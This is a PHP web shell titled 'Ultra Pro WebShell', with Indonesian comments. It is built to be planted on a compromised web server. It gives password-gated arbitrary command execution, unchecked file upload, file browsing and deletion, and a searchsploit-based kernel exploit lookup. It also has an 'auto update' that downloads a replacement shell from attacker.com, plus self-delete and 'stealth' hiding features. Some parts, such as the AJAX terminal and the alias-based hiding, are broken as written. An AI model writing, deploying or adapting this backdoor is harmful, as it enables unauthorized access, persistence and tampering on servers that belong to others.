<?php
session_start();

// Password untuk akses (ganti sesuai keinginan)
$PASSWORD = "ultrapro_shell";

// Cek login
if (!isset($_SESSION['logged_in'])) {
    if (isset($_POST['password']) && $_POST['password'] === $PASSWORD) {
        $_SESSION['logged_in'] = true;
    } else {
        echo '<form method="post">
                <input type="password" name="password" placeholder="Enter Password">
                <button type="submit">Login</button>
              </form>';
        exit;
    }
}

// Fungsi Eksekusi Perintah (WebSocket + AJAX)
function executeCommand($cmd) {
    if (function_exists('shell_exec')) return shell_exec($cmd);
    if (function_exists('exec')) { exec($cmd, $output); return implode("\n", $output); }
    if (function_exists('system')) { ob_start(); system($cmd); return ob_get_clean(); }
    if (function_exists('passthru')) { ob_start(); passthru($cmd); return ob_get_clean(); }
    return "Command execution is disabled.";
}

// Fungsi Upload File
if (isset($_FILES['file'])) {
    move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']);
    echo "File uploaded!";
}

// File Manager GUI
echo "<h1>Ultra Pro WebShell</h1>";
echo "<h3>Current Directory: " . getcwd() . "</h3>";
echo "<table border='1'><tr><th>File</th><th>Size</th><th>Permissions</th><th>Modified</th></tr>";
$files = scandir(getcwd());
foreach ($files as $file) {
    if ($file === '.' || $file === '..') continue;
    $size = filesize($file) ?: 'DIR';
    $perms = substr(sprintf('%o', fileperms($file)), -4);
    $mod_time = date("Y-m-d H:i:s", filemtime($file));
    echo "<tr><td><a href='?file=$file'>$file</a></td>
              <td>$size</td>
              <td>$perms</td>
              <td>$mod_time</td>
              <td><a href='?delete=$file' style='color:red;'>Delete</a></td>
          </tr>";
}
echo "</table>";

// Auto CVE Scanner
if (isset($_GET['cve_scan'])) {
    echo "<pre>" . executeCommand("searchsploit $(uname -r)") . "</pre>";
}

// Realtime Monitoring CPU & RAM
if (isset($_GET['monitor'])) {
    echo "<pre>" . executeCommand("top -bn1 | head -n 10") . "</pre>";
}

// Auto Update WebShell
if (isset($_GET['auto_update'])) {
    executeCommand("wget -O ultraproshell.php http://attacker.com/latest_shell.php");
    echo "WebShell updated!";
}

// Auto SSH Connector
if (isset($_GET['ssh_connect'])) {
    executeCommand("ssh user@remote-server");
    echo "Connected via SSH!";
}

// Port Scanner & Firewall Manager
if (isset($_GET['port_scan'])) {
    echo "<pre>" . executeCommand("netstat -tulnp") . "</pre>";
}

// Auto Backup & Restore
if (isset($_GET['backup'])) {
    $backup_name = "backup_" . date("Y-m-d_H-i-s") . ".zip";
    executeCommand("zip -r $backup_name *");
    echo "Backup file created: <a href='$backup_name'>$backup_name</a>";
}

// Self-Destruct Mode
if (isset($_GET['self_delete'])) {
    executeCommand("rm -rf " . __FILE__);
    echo "WebShell deleted!";
}

// Stealth Mode (Anti-Detection)
if (isset($_GET['stealth'])) {
    executeCommand("mv " . __FILE__ . " .hidden_shell");
    executeCommand("alias ls='ls --color=auto | grep -v hidden_shell'");
    echo "Stealth Mode Activated!";
}

// Tampilan UI dengan Bootstrap dan AJAX
echo '<!DOCTYPE html>
<html>
<head>
    <title>Ultra Pro WebShell</title>
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css">
    <script>
    function runCommand() {
        var cmd = document.getElementById("cmd").value;
        fetch("", {
            method: "POST",
            headers: {"Content-Type": "application/x-www-form-urlencoded"},
            body: "cmd=" + encodeURIComponent(cmd)
        }).then(response => response.json()).then(data => {
            document.getElementById("output").innerHTML = "<pre>" + data.output + "</pre>";
        });
    }
    </script>
</head>
<body class="container mt-4">
<h1 class="text-primary">Ultra Pro WebShell</h1>
<h3 class="text-secondary">File Manager</h3>';

// Live Terminal Interface
echo '<h3>Live Terminal</h3>
<div class="mb-3">
    <input type="text" id="cmd" class="form-control" placeholder="Enter command">
    <button class="btn btn-primary mt-2" onclick="runCommand()">Run</button>
</div>
<div id="output" class="alert alert-dark"></div>';

// Upload File Form
echo '<h3>Upload File</h3>
<form method="post" enctype="multipart/form-data">
    <input type="file" name="file" class="form-control">
    <button type="submit" class="btn btn-success mt-2">Upload</button>
</form>';

// Backup & Self-Destruct
echo '<h3>Auto Backup & Restore</h3>
<a href="?backup" class="btn btn-warning">Create Backup</a>';

echo '<h3>Self-Destruct Mode</h3>
<a href="?self_delete" class="btn btn-danger">Delete WebShell</a>';

echo '<h3>Stealth Mode</h3>
<a href="?stealth" class="btn btn-secondary">Activate Stealth Mode</a>';

echo '<h3>Auto CVE Scanner</h3>
<a href="?cve_scan" class="btn btn-info">Scan Kernel Exploits</a>';

echo '<h3>Realtime Monitoring</h3>
<a href="?monitor" class="btn btn-dark">View CPU & RAM Usage</a>';

echo '<h3>Auto Update WebShell</h3>
<a href="?auto_update" class="btn btn-success">Update WebShell</a>';

echo '<h3>SSH Connector</h3>
<a href="?ssh_connect" class="btn btn-primary">Connect via SSH</a>';

echo '<h3>Port Scanner & Firewall Manager</h3>
<a href="?port_scan" class="btn btn-warning">Scan Open Ports</a>';

echo '</body></html>';
?>

